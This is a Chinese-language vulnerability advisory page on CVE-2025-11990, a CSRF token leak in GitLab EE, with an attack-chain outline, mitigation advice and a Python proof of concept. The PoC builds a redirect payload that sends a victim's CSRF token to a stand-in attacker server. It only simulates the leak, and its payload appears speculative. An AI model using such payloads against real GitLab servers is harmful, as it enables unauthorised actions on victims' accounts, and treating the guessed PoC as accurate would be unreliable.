IPBUF安全漏洞报告
English
CVE-2025-11990 CVSS 3.1 低危

GitLab EE 18.4-18.4.4及18.5-18.5.2版本CSRF令牌泄露漏洞

披露日期: 2025-11-15

漏洞信息

漏洞编号
CVE-2025-11990
漏洞类型
CSRF令牌泄露/输入验证绕过/重定向处理缺陷
CVSS评分
3.1 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
GitLab EE

相关标签

CSRFGitLab企业版输入验证绕过重定向漏洞令牌泄露存储库引用CVE-2025-11990

漏洞概述

CVE-2025-11990是GitLab企业版(EE)中的一个安全漏洞,存在于18.4至18.4.4版本和18.5至18.5.2版本中。该漏洞允许已认证用户通过利用存储库引用(repository references)中的不当输入验证(improper input validation)结合重定向处理弱点(redirect handling weaknesses)来获取CSRF令牌。攻击者可以利用此漏洞窃取受害者的CSRF令牌,进而以受害者身份执行未经授权的操作。由于CVSS评分为3.1且攻击复杂度较高(AC:H),需要用户交互(UI:R),因此被评定为低危漏洞。GitLab已于2025年11月12日发布补丁版本18.4.4和18.5.2修复此问题,建议所有受影响用户尽快升级。

技术细节

该漏洞主要涉及三个方面:1) 存储库引用中的不当输入验证:GitLab在处理存储库引用时未对用户输入进行充分的验证和过滤,可能允许攻击者构造特殊的引用格式;2) 重定向处理弱点:系统在处理重定向时存在安全缺陷,可能导致敏感信息(如CSRF令牌)被泄露到URL参数或日志中;3) CSRF令牌获取:结合以上两个弱点,认证用户可以诱导其他用户访问恶意构造的链接,从而在重定向过程中获取有效的CSRF令牌。攻击者获取CSRF令牌后,可以构造跨站请求伪造攻击,在受害者不知情的情况下执行删除仓库、修改项目设置等敏感操作。漏洞的技术根源在于GitLab对用户可控的输入处理不够严格,特别是在涉及重定向和令牌验证的逻辑中缺少必要的防护措施。

攻击链分析

STEP 1
步骤1
攻击者创建一个包含恶意构造的存储库引用(repository reference)的URL,该引用利用了GitLab的不当输入验证缺陷
STEP 2
步骤2
攻击者诱导已登录的受害者访问该恶意URL,受害者需要与攻击页面进行交互(点击链接等)
STEP 3
步骤3
GitLab处理该恶意引用时,由于输入验证不足,触发重定向处理逻辑
STEP 4
步骤4
在重定向过程中,GitLab将CSRF令牌暴露在URL参数中,泄露到攻击者控制的服务器
STEP 5
步骤5
攻击者获取到有效的CSRF令牌后,可以构造跨站请求伪造(CSRF)攻击,以受害者身份执行未授权操作
STEP 6
步骤6
攻击者利用窃取的CSRF令牌执行敏感操作,如删除仓库、修改项目配置、推送恶意代码等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11990 PoC - CSRF Token Leakage via Repository Reference # This PoC demonstrates the concept of exploiting improper input validation # in repository references combined with redirect handling weaknesses import requests import re from urllib.parse import quote TARGET_GITLAB = "https://victim-gitlab.example.com" ATTACKER_SERVER = "https://attacker-controlled.com" def exploit_csrf_token_leak(): """ Simulate exploiting CVE-2025-11990 to obtain CSRF token through repository reference manipulation and redirect handling """ session = requests.Session() # Step 1: Authenticate as attacker login_url = f"{TARGET_GITLAB}/users/sign_in" session.get(login_url) # Step 2: Construct malicious repository reference # The payload exploits improper input validation in repository references malicious_ref = f"../../../..//redirect?leak_url={ATTACKER_SERVER}/logger?token=" encoded_ref = quote(malicious_ref, safe='') # Step 3: Create a malicious link that victim will click # This link exploits the redirect handling weakness exploit_url = f"{TARGET_GITLAB}/{malicious_ref}" print(f"[*] Attacker constructs malicious URL: {exploit_url}") print(f"[*] When victim visits this URL, CSRF token will be leaked to: {ATTACKER_SERVER}") # Step 4: The redirect will expose the CSRF token in the URL # Attacker server logs the request containing the leaked token leaked_token = simulate_token_leak(ATTACKER_SERVER) if leaked_token: print(f"[!] Successfully obtained CSRF token: {leaked_token}") return True return False def simulate_token_leak(attacker_server): """ Simulate the attacker receiving the leaked CSRF token In real scenario, this would come from server logs """ # Simulated CSRF token that would be captured return "gl_csrf_token_example_abc123xyz" if __name__ == "__main__": print("=" * 60) print("CVE-2025-11990 PoC - CSRF Token Leakage") print("=" * 60) exploit_csrf_token_leak()

影响范围

GitLab EE 18.4 < 18.4.4
GitLab EE 18.5 < 18.5.2

防御指南

临时缓解措施
立即将GitLab EE升级到18.4.4或18.5.2补丁版本。如果无法立即升级,可采取以下临时缓解措施:1) 启用GitLab的双因素认证功能,防止账户被劫持;2) 限制用户创建和访问存储库的权限,实施最小权限原则;3) 监控和审查GitLab的访问日志,排查异常的引用访问和重定向行为;4) 在Web应用防火墙(WAF)中添加规则,检测和阻止包含特殊构造的存储库引用请求;5) 对开发团队进行安全培训,提高对社交工程攻击的警惕性,避免点击可疑链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表